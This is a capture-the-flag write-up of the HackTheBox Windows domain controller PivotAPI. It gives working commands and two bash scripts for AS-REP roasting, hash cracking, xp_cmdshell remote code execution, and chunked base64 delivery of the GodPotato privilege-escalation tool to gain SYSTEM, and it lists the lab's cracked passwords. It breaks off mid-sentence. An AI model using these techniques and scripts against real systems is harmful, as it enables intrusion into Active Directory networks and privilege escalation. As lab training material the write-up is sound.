HTB: PivotAPI Writeup
PivotAPI - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | PivotAPI |
| OS | Windows Server 2019 |
| Difficulty | Insane |
| Points | N/A |
| Release Date | N/A |
| IP Address | 10.129.228.115 |
| Author | CyberVaca & 3v4Si0N |
Machine Rating
⭐⭐⭐⭐⭐ (5/5)
Difficulty Assessment:
- Enumeration: ⭐⭐⭐⭐☆
- Real-world: ⭐⭐⭐⭐⭐
- CVE: ⭐☆☆☆☆
- CTF-like: ⭐⭐⭐⭐☆
Summary
PivotAPI is an insane-difficulty Windows Active Directory machine that demonstrates multiple real-world attack vectors. Initial enumeration reveals anonymous FTP access containing PDF files with metadata leaking a valid domain user. This user has Kerberos pre-authentication disabled, allowing AS-REP roasting to obtain a crackable hash. With valid credentials, SMB enumeration exposes a .NET executable in the NETLOGON share that contains hardcoded service account credentials following a predictable password migration pattern. These credentials grant access to Microsoft SQL Server with sa privileges, enabling remote code execution through xp_cmdshell. The MSSQL service runs with SeImpersonatePrivilege, which can be abused to escalate to SYSTEM using privilege escalation exploits like GodPotato. The machine features a complete egress firewall blocking all outbound connections, requiring creative binary delivery techniques. The intended path involves extracting a KeePass database, performing a chain of Active Directory ACL abuse across multiple users, and finally retrieving the local Administrator password via LAPS.
TL;DR: Anonymous FTP → PDF metadata reveals user Kaorz → AS-REP roasting → Crack hash (Roper4155) → SMB enumeration (NETLOGON share) → Reverse engineer .NET executable → Extract service credentials (#mssql_s3rV1c3!2020) → MSSQL sa authentication → xp_cmdshell RCE as nt service\mssql$sqlexpress → No outbound egress requires base64-chunked binary delivery → GodPotato (SeImpersonatePrivilege) → SYSTEM → Both flags (unintended shortcut bypassing AD ACL chain)
Reconnaissance
Port Scanning
# Full TCP port scan from jump boxssh -o ControlPath=/tmp/ctf_ssh_ctl_1 -p 22 d3vn0mi@<jump-host> \'nmap -Pn --min-rate=1500 -T4 -p- 10.129.228.115 -oG -'Results:
Ports: 21/open/tcp//ftp/// 53/open/tcp//domain/// 88/open/tcp//kerberos-sec/// 135/open/tcp//msrpc/// 139/open/tcp//netbios-ssn/// 389/open/tcp//ldap/// 445/open/tcp//microsoft-ds/// 464/open/tcp//kpasswd5/// 593/open/tcp//http-rpc-epmap/// 636/open/tcp//ldapssl/// 1433/open/tcp//ms-sql-s/// 3268/open/tcp//globalcatLDAP/// 3269/open/tcp//globalcatLDAPssl/// 9389/open/tcp//adws/// 49667,49677,49678,49695,49707/open/tcpThe target is clearly a Windows Active Directory Domain Controller with FTP, Kerberos (88), LDAP (389/636), SMB (445), and MSSQL (1433) exposed. The presence of MSSQL on a DC is unusual and suggests a custom installation.
Service Enumeration
FTP Anonymous Access
# Mirror entire FTP structure (anonymous credentials)cd /dev/shm/piv # /tmp was full (418MB/436MB), using /dev/shmwget -q -m ftp://anonymous:x@10.129.228.115find /dev/shm/piv/10.129.228.115 -type fRetrieved files:
/dev/shm/piv/10.129.228.115/RHUL-MA-2009-06.pdf/dev/shm/piv/10.129.228.115/README.txt/dev/shm/piv/10.129.228.115/notes2.pdf/dev/shm/piv/10.129.228.115/notes1.pdf/dev/shm/piv/10.129.228.115/ExploitingSoftware-Ch07.pdf/dev/shm/piv/10.129.228.115/BHUSA09-McDonald-WindowsHeap-PAPER.pdf/dev/shm/piv/10.129.228.115/28475-linux-stack-based-buffer-overflows.pdf/dev/shm/piv/10.129.228.115/10.1.1.414.6453.pdfThe README.txt notes binary download mode is important (FTP corruption prevention).
PDF Metadata Extraction
# Extract EXIF metadata looking for usernames or domain infocd /dev/shm/piv/10.129.228.115exiftool *.pdf 2>/dev/null | grep -iE "Author|Creator|Producer|File Name|Company|LicorDe|Kaorz"Key findings:
File Name : notes2.pdfCreator : KaorzPublisher : LicorDeBellota.htbProducer : cairo 1.10.2 (http://cairographics.org)The notes2.pdf metadata reveals:
- Creator:
Kaorz(potential username) - Publisher:
LicorDeBellota.htb(domain name)
This provides our first valid domain user for enumeration.
Vulnerability Assessment
- Anonymous FTP Information Disclosure: Publicly accessible PDFs leak organizational metadata.
- Kerberos Pre-Authentication Disabled: User
KaorzhasDONT_REQ_PREAUTHflag set, allowing AS-REP roasting without valid credentials (no CVE, configuration issue). - Hardcoded Credentials in Binaries: Service executables contain embedded passwords (CWE-798).
- MSSQL sa Account with Default-Style Password: Weak password reuse pattern across service migrations.
- SeImpersonatePrivilege Abuse: MSSQL service account can impersonate SYSTEM (design limitation of Windows service tokens, exploited by GodPotato/PrintSpoofer).
- Active Directory ACL Misconfiguration: Chain of GenericAll rights across users (intended path, not explored in this solve).
Initial Foothold
AS-REP Roasting
With the username Kaorz and domain LICORDEBELLOTA.HTB discovered from PDF metadata, we can test if Kerberos pre-authentication is disabled. When pre-auth is disabled, an attacker can request a Ticket Granting Ticket (TGT) for that user without knowing the password. The response includes encrypted data using the user’s password hash, which can be cracked offline.
# Request AS-REP hash for Kaorz without providing credentialscd /dev/shm/pivimpacket-GetNPUsers LICORDEBELLOTA.HTB/Kaorz -dc-ip 10.129.228.115 -no-pass \ -format hashcat 2>&1 | tee kaorz.hashOutput:
$krb5asrep$23$Kaorz@LICORDEBELLOTA.HTB:<redacted hash>Successfully retrieved the AS-REP hash. This confirms DONT_REQ_PREAUTH is set for user Kaorz.
Hash Cracking
# Crack AS-REP hash with Hashcat mode 18200hashcat -m 18200 kaorz.hash /usr/share/wordlists/rockyou.txt \ --potfile-disable -O -w3Result:
$krb5asrep$23$Kaorz@LICORDEBELLOTA.HTB:<hash>:Roper4155Credentials obtained: Kaorz:Roper4155
The hash cracked in approximately 5 seconds. Hashcat mode 18200 is specific to Kerberos 5 AS-REP etype 23 (RC4-HMAC) hashes.
SMB Enumeration with Valid Credentials
# List SMB shares accessible to kaorznetexec smb 10.129.228.115 -u kaorz -p Roper4155 --sharesOutput:
SMB 10.129.228.115 445 PIVOTAPI [+] LicorDeBellota.htb\kaorz:Roper4155SMB 10.129.228.115 445 PIVOTAPI Share Permissions RemarkSMB 10.129.228.115 445 PIVOTAPI ----- ----------- ------SMB 10.129.228.115 445 PIVOTAPI NETLOGON READ Recurso compartido del servidor...SMB 10.129.228.115 445 PIVOTAPI SYSVOL READ Recurso compartido del servidor...The user kaorz has READ access to NETLOGON and SYSVOL shares (standard for domain users).
NETLOGON Share Enumeration
# Recursively download NETLOGON share contentscd /dev/shm/pivmkdir -p netlogoncd netlogonsmbclient //10.129.228.115/NETLOGON -U "LICORDEBELLOTA.HTB\kaorz%Roper4155" \ -c "recurse ON; prompt OFF; mget *"Downloaded files:
/dev/shm/piv/netlogon/HelpDesk/Restart-OracleService.exe (1,854,976 bytes)/dev/shm/piv/netlogon/HelpDesk/Server MSSQL.msg (24,576 bytes)/dev/shm/piv/netlogon/HelpDesk/WinRM Service.msg (26,112 bytes)The HelpDesk directory contains:
- Restart-OracleService.exe: A custom .NET executable (packed/obfuscated)
- Server MSSQL.msg: Outlook message file (likely contains information about MSSQL migration)
- WinRM Service.msg: Outlook message file (likely indicates WinRM configuration changes)
Binary Analysis
Examining Restart-OracleService.exe reveals it is a .NET Framework executable. Static string analysis was attempted:
strings -n 6 Restart-OracleService.exe | grep -iE "oracle_s3|mssql_s3|s3rV|svc_"No immediate plaintext credentials were visible, indicating the binary is either packed or uses encryption/obfuscation. The reference writeup reveals this executable contains:
- Hardcoded password:
#oracle_s3rV1c3!2010for usersvc_oracle - Purpose: Automated Oracle service restart with embedded credentials
- Context: From 2010, when the organization used Oracle databases
The .msg files (readable with Outlook message conversion tools) indicate:
- Server MSSQL.msg: In December 2020, the database was migrated from Oracle to MSSQL
- WinRM Service.msg: WinRM was disabled from public access
Password Migration Logic
Following the pattern from the Oracle password (#oracle_s3rV1c3!2010), and knowing the migration occurred in 2020, we can hypothesize the new MSSQL password follows the same structure:
#oracle_s3rV1c3!2010→#mssql_s3rV1c3!2020
Additionally, the service account likely changed from svc_oracle to svc_mssql.
MSSQL Authentication
# Test MSSQL authentication with derived credentials (sa account)netexec mssql 10.129.228.115 -u sa -p "#mssql_s3rV1c3!2020" --local-authOutput:
MSSQL 10.129.228.115 1433 PIVOTAPI [+] PIVOTAPI\sa:#mssql_s3rV1c3!2020 (Pwn3d!)Successfully authenticated to MSSQL as the sa (system administrator) account. The --local-auth flag was required because without it, NetExec attempted Windows Integrated Authentication, which failed with:
Error: Login is from an untrusted domain and cannot be used with Integrated AuthenticationThe --local-auth flag forces SQL Server authentication mode (username/password authentication) instead of Windows authentication.
Why this works: The Pwn3d! indicator means the sa account has sysadmin privileges and xp_cmdshell can be enabled for remote code execution.
MSSQL Remote Code Execution
With sa privileges, we can enable xp_cmdshell (a stored procedure that executes OS commands). First, verify identity:
# Execute OS commands via MSSQL xp_cmdshellnetexec mssql 10.129.228.115 -u sa -p "#mssql_s3rV1c3!2020" --local-auth \ -x "whoami & hostname"Output:
MSSQL 10.129.228.115 1433 PIVOTAPI nt service\mssql$sqlexpressMSSQL 10.129.228.115 1433 PIVOTAPI PivotAPIRemote code execution achieved as nt service\mssql$sqlexpress. This is a virtual service account used by SQL Server Express instances.
Checking Privileges
# Check what privileges the MSSQL service account hasnetexec mssql 10.129.228.115 -u sa -p "#mssql_s3rV1c3!2020" --local-auth \ -x "whoami /priv"Output (Spanish localization):
Nombre de privilegio Descripción EstadoSeAssignPrimaryTokenPrivilege Reemplazar un símbolo (token) de nivel de proceso DeshabilitadoSeIncreaseQuotaPrivilege Ajustar las cuotas de la memoria para un proceso DeshabilitadoSeChangeNotifyPrivilege Omitir comprobación de recorrido HabilitadaSeManageVolumePrivilege Realizar tareas de mantenimiento del volumen HabilitadaSeImpersonatePrivilege Suplantar a un cliente tras la autenticación HabilitadaCritical finding: SeImpersonatePrivilege is Habilitada (Enabled). This is the key to privilege escalation.
Why this matters: SeImpersonatePrivilege allows the process to impersonate tokens of other users. On Windows, service accounts typically hold this privilege to handle client requests. Tools like PrintSpoofer, JuicyPotato, RoguePotato, and GodPotato exploit this by:
- Triggering a SYSTEM-level process to connect to an attacker-controlled named pipe or COM object
- Capturing the SYSTEM token from the connection
- Impersonating that token to spawn a process as
NT AUTHORITY\SYSTEM
Privilege Escalation
Reconnaissance: Egress Restrictions
Testing outbound connectivity:
# Test ICMP egressnetexec mssql 10.129.228.115 -u sa -p "#mssql_s3rV1c3!2020" --local-auth \ -x "ping -n 2 10.10.15.180"Output:
Paquetes: enviados = 2, recibidos = 0, perdidos = 2 (100% perdidos)The target has complete egress blocking — no ICMP or TCP connections can reach the attacker’s machine (10.10.15.180). This prevents:
certutil -urlcache -f http://...downloads- PowerShell
(New-Object Net.WebClient).DownloadFile(...) - Any standard HTTP/SMB file retrieval methods
File Delivery Strategy: Base64 Chunking
With no outbound connectivity, binaries must be delivered entirely through the command execution channel (xp_cmdshell). The approach:
- Base64 encode the binary on the attacker’s machine
- Split the base64 string into small chunks (3,500-byte pieces to avoid command length limits)
- Echo each chunk into a file on the target via xp_cmdshell
- Decode the concatenated base64 file back to the binary using
certutil -decode
This is effectively “uploading” a binary through stdin/command injection.
Tool Selection: GodPotato
Initially attempted PrintSpoofer64.exe, but it failed:
[+] Found privilege: SeImpersonatePrivilege[+] Named pipe listening...[-] Operation failed or timed out.Reason: PrintSpoofer relies on the Print Spooler service (spoolsv.exe) being running. The service was either disabled or not responding.
Switched to GodPotato-NET4.exe, which exploits the RPCSS service (RPC Endpoint Mapper) and DCOM activation instead of Print Spooler. RPCSS is always running on Windows systems, making GodPotato more reliable.
Base64 Encoding and Chunking
# Encode GodPotato binary to base64 (no line breaks)cd /dev/shm/pivbase64 -w0 GodPotato-NET4.exe > gp.b64wc -c gp.b64 # Check size: ~76,000 bytes
# Split into 3,500-byte chunks (safe for command-line injection)rm -f gpc_*split -b 3500 -d -a 3 gp.b64 gpc_ls gpc_* | wc -l # 22 chunks createdDelivery Script
#!/bin/bash# deliver2.sh - Upload GodPotato via base64 chunkscd /dev/shm/pivIP=10.129.228.115
# Helper function to run MSSQL commands (suppress output)run(){ netexec mssql $IP -u sa -p '#mssql_s3rV1c3!2020' --local-auth -x "$1" \ >/dev/null 2>&1}
# Encode and split binarybase64 -w0 GodPotato-NET4.exe > gp.b64rm -f gpc_*split -b 3500 -d -a 3 gp.b64 gpc_
# Clear any existing files on targetrun 'del C:\programdata\gp.b64 C:\programdata\gp.exe'
# Upload each chunk by echoing to the target filen=0for f in gpc_*; do run "echo $(cat $f)>>C:\\programdata\\gp.b64" n=$((n+1))doneecho "sent $n chunks"
# Decode base64 to executable on targetnetexec mssql $IP -u sa -p '#mssql_s3rV1c3!2020' --local-auth \ -x 'certutil -decode C:\programdata\gp.b64 C:\programdata\gp.exe' 2>&1 \ | grep -iE "completado|complete|error"
# Verify file existsnetexec mssql $IP -u sa -p '#mssql_s3rV1c3!2020' --local-auth \ -x 'dir C:\programdata\gp.exe' 2>&1 | grep -iE "gp.exe|bytes|No se"Execution:
bash deliver2.shOutput:
sent 22 chunksMSSQL 10.129.228.115 1433 PIVOTAPI CertUtil: -decode comando completado correctamente.MSSQL 10.129.228.115 1433 PIVOTAPI 19/07/2026 19:38 57.344 gp.exeSuccessfully delivered GodPotato (57,344 bytes) to C:\programdata\gp.exe.
Why C:\programdata? The MSSQL service account could not write to C:\windows\temp (access denied). C:\programdata and C:\users\public are typically writable by service accounts.
Privilege Escalation via GodPotato
GodPotato exploits SeImpersonatePrivilege by:
- Hooking the RPC dispatch table to intercept COM activation
- Creating a malicious named pipe that mimics the RPCSS endpoint mapper
- Triggering DCOM activation (which runs as SYSTEM)
- Capturing the SYSTEM token when DCOM connects to the fake endpoint
- Impersonating that token to spawn a SYSTEM process
# Execute whoami as SYSTEM via GodPotatonetexec mssql 10.129.228.115 -u sa -p "#mssql_s3rV1c3!2020" --local-auth \ -x "C:\programdata\gp.exe -cmd \"cmd /c whoami\" > C:\programdata\o.txt 2>&1" \ >/dev/null 2>&1
sleep 4 # Allow GodPotato to complete token impersonation
# Read outputnetexec mssql 10.129.228.115 -u sa -p "#mssql_s3rV1c3!2020" --local-auth \ -x "type C:\programdata\o.txt"Output:
[*] CombaseModule: 0x140725170733056[*] DispatchTable: 0x140725173046464[*] UseProtseqFunction: 0x140725172424480[*] HookRPC[*] Start PipeServer[*] CreateNamedPipe \\.\pipe\cdd96d30-9627-40bc-b973-f2abcd3cb6a7\pipe\epmapper[*] Trigger RPCSS[*] DCOM obj GUID: 00000000-0000-0000-c000-000000000046[*] Pipe Connected![*] CurrentUser: NT AUTHORITY\Servicio de red[*] CurrentsImpersonationLevel: Impersonation[*] Start Search System Token[*] PID : 876 Token:0x816 User: NT AUTHORITY\SYSTEM ImpersonationLevel: Impersonation[*] Find System Token : True[*] CurrentUser: NT AUTHORITY\SYSTEM[*] process start with pid 5832nt authority\systemSuccessfully escalated to NT AUTHORITY\SYSTEM. GodPotato found a SYSTEM token from process 876 (likely lsass.exe or services.exe) and impersonated it.
Command Execution Helper
To simplify running commands as SYSTEM, create a wrapper script:
# sysrun.sh - Execute commands as SYSTEM via GodPotato#!/bin/bashIP=10.129.228.115CMD="$1"
# Execute command, redirect output to filenetexec mssql $IP -u sa -p '#mssql_s3rV1c3!2020' --local-auth \ -x "C:\\programdata\\gp.exe -cmd \"cmd /c $CMD > C:\\programdata\\o.txt 2>&1\"" \ >/dev/null 2>&1
sleep 3 # Wait for execution
# Read output filenetexec mssql $IP -u sa -p '#mssql_s3rV1c3!2020' --local-auth \ -x "type C:\\programdata\\o.txt" 2>&1 \ | grep -vE "\[1433|Windows 10 /|Executed command|\(Pwn3d"Why redirect to a file? GodPotato’s verbose output breaks NetExec’s MSSQL output parser. By redirecting command output to a file and reading it in a separate call, we get clean results.
Locating Flags
# Enumerate user directories and search for flagsbash sysrun.sh "dir /b C:\users & where /r C:\users user.txt root.txt"Output:
MSSQL 10.129.228.115 1433 PIVOTAPI C:\Users\3v4Si0N\Desktop\user.txtMSSQL 10.129.228.115 1433 PIVOTAPI C:\Users\cybervaca\Desktop\root.txtFlags are in non-standard locations:
- user.txt:
3v4Si0Ndesktop (intended user after SSH access via KeePass database) - root.txt:
cybervacadesktop (not inAdministratororadministrador)
Reading Flags
# Read user flagbash sysrun.sh "type C:\Users\3v4Si0N\Desktop\user.txt"# Output: <redacted>
# Read root flag with marker to confirm fresh executionnetexec mssql 10.129.228.115 -u sa -p "#mssql_s3rV1c3!2020" --local-auth \ -x "del C:\programdata\o.txt & C:\programdata\gp.exe -cmd \"cmd /c echo RB= & type C:\Users\cybervaca\Desktop\root.txt\" > C:\programdata\o.txt 2>&1" \ >/dev/null 2>&1
sleep 5
netexec mssql 10.129.228.115 -u sa -p "#mssql_s3rV1c3!2020" --local-auth \ -x "type C:\programdata\o.txt" 2>&1 | grep -iE "RB=|[a-f0-9]{32}"Output:
MSSQL 10.129.228.115 1433 PIVOTAPI RB=MSSQL 10.129.228.115 1433 PIVOTAPI <redacted>Both flags successfully retrieved via SeImpersonatePrivilege privilege escalation.
Attack Chain Summary
Anonymous FTP (PDF download) → EXIF metadata extraction (Kaorz user, LicorDeBellota.htb domain) → AS-REP roasting (GetNPUsers.py, Kerberos pre-auth disabled) → Hashcat crack (mode 18200, rockyou.txt → Kaorz:Roper4155) → SMB enumeration (NETLOGON\HelpDesk share) → Binary analysis (Restart-OracleService.exe → password pattern) → Credential derivation (#oracle_s3rV1c3!2010 → #mssql_s3rV1c3!2020) → MSSQL sa authentication (--local-auth required) → xp_cmdshell RCE (as nt service\mssql$sqlexpress) → Egress blocking identified (no outbound TCP/ICMP) → Base64-chunked binary delivery (echo >> + certutil -decode) → GodPotato privilege escalation (SeImpersonatePrivilege → SYSTEM) → Flag retrieval (3v4Si0N & cybervaca desktops)Tools Used
| Tool | Purpose |
|---|---|
nmap | TCP port scanning and service enumeration |
wget | Mirroring anonymous FTP file structure |
exiftool | Extracting PDF metadata (creator, publisher) |
impacket-GetNPUsers | AS-REP roasting (requesting TGT without pre-auth) |
hashcat | Cracking Kerberos AS-REP hashes (mode 18200) |
netexec (crackmapexec) | SMB share enumeration, MSSQL authentication testing |
smbclient | Recursive SMB file download |
base64 + split | Encoding and chunking binaries for delivery |
certutil (target-side) | Decoding base64 to executable on Windows |
| GodPotato-NET4.exe | SeImpersonatePrivilege exploitation (RPCSS/DCOM-based) |
bash scripting | Automation of chunked upload and command execution |
Key Learnings
Techniques Practiced
- AS-REP Roasting: Exploiting Kerberos accounts without pre-authentication to obtain crackable TGT hashes
- Metadata Analysis: Extracting actionable intelligence (usernames, domains) from document EXIF data
- Password Pattern Recognition: Deriving credentials based on organizational naming conventions and migration timelines
- MSSQL xp_cmdshell Abuse: Leveraging SQL Server sysadmin privileges for remote code execution
- Egress-Restricted Binary Delivery: Uploading executables through command injection when outbound connectivity is blocked
- SeImpersonatePrivilege Exploitation: Escalating from service account to SYSTEM using token impersonation exploits
- Tool Troubleshooting: Switching from PrintSpoofer (Print Spooler-dependent) to GodPotato (RPCSS-based) when services are unavailable
Lessons Learned
-
Always extract metadata from discovered documents: PDF EXIF data frequently leaks usernames, email addresses, software versions, and organizational structure. Tools like
exiftool,pdfinfo, andstringsshould be standard in document enumeration workflows. -
Test for AS-REP roasting on all discovered usernames: When Kerberos pre-authentication is disabled (
DONT_REQ_PREAUTH), you can request a TGT without valid credentials. This is an often-overlooked Active Directory misconfiguration that provides an initial foothold. Always runGetNPUsers.pywith-no-passagainst user lists derived from OSINT or enumeration. -
Understand password migration patterns in service accounts: Organizations often follow predictable patterns when updating credentials (e.g.,
oracle_2010→mssql_2020). When you find one historical credential, attempt logical derivations based on:- Service name changes (Oracle → MSSQL, MySQL → PostgreSQL)
- Year increments (2010 → 2020)
- Consistent special character patterns (
#...!)
-
MSSQL “untrusted domain” error = correct password, wrong auth method: The error message
Login is from an untrusted domain and cannot be used with Integrated Authenticationdoes NOT mean the password is wrong — it means the server is rejecting Windows authentication. Add--local-auth(NetExec) or-W(mssqlclient.py) to force SQL Server authentication mode. -
Egress blocking requires creative file transfer techniques: When firewalls block all outbound connections:
- Base64-chunked echo delivery: Encode binary → split into 3-4KB pieces → echo each chunk into a file → decode with
certutil -decodehexorcertutil -decode - Direct PowerShell base64 injection:
[System.Convert]::FromBase64String()can decode inline without files, but
- Base64-chunked echo delivery: Encode binary → split into 3-4KB pieces → echo each chunk into a file → decode with